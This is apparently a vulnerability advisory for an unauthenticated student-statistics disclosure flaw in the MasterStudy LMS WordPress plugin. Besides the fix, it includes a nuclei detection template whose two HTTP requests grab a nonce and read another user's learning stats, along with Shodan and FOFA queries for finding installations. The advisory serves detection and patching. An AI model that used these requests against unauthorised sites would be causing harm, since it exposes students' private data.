MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure

mediumseverity

5.3CVSS score

0.5%likelihood of exploitation, next 30 days

41%of all CVEs are less likely

Readycheck to confirm it

MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.

Impact

Unauthenticated attackers can access sensitive student learning statistics of any registered user, leading to information disclosure.

Fix

Update to version 3.7.46 or later.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, "masterstudy-lms") and len(nonce) > 0
Send: GET /?rest_route=/masterstudy-lms/v2/student/stats/1
Positive when: status_code == 200 and contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":") and !contains_any(body, "forbidden", "rest_nonce_missed")

Run it with nuclei: nuclei -id CVE-2026-81199 -u <target>

The full check

id: CVE-2026-81199

info:
  name: MasterStudy LMS < 3.7.46 - Unauthenticated Student Statistics Disclosure
  author: 0x_Akoko
  severity: medium
  description: |
    MasterStudy LMS WordPress plugin before 3.7.46 contains an information disclosure vulnerability caused by missing authorization checks in student learning statistics, letting unauthenticated attackers access sensitive user course data, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can access sensitive student learning statistics of any registered user, leading to information disclosure.
  remediation: |
    Update to version 3.7.46 or later.
  reference:
    - https://wpscan.com/vulnerability/8dd53f85-5d1b-4e0b-a0f5-8c65d89cefb5/
    - https://nvd.nist.gov/vuln/detail/CVE-2026-81199
  classification:
    cve-id: CVE-2026-81199
    epss-score: 0.00474
    epss-percentile: 0.41271
    cwe-id: CWE-200
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
  metadata:
    verified: true
    max-request: 2
    vendor: stylemix
    product: masterstudy-lms
    shodan-query: http.html:"/wp-content/plugins/masterstudy-lms-learning-management-system/"
    fofa-query: body="masterstudy-lms-learning-management-system"
  tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "masterstudy-lms")'
          - 'len(nonce) > 0'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: nonce
        part: body
        internal: true
        group: 1
        regex:
          - 'rest_nonce"?\s*:\s*"?([a-f0-9]{10})'
          - '"nonce"\s*:\s*"([a-f0-9]{10})"'

  - raw:
      - |
        GET /?rest_route=/masterstudy-lms/v2/student/stats/1 HTTP/1.1
        Host: {{Hostname}}
        X-WP-Nonce: {{nonce}}
        Accept: application/json

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "\"courses_statuses\":", "\"total_points\":", "\"total_assignments\":")'
          - '!contains_any(body, "forbidden", "rest_nonce_missed")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from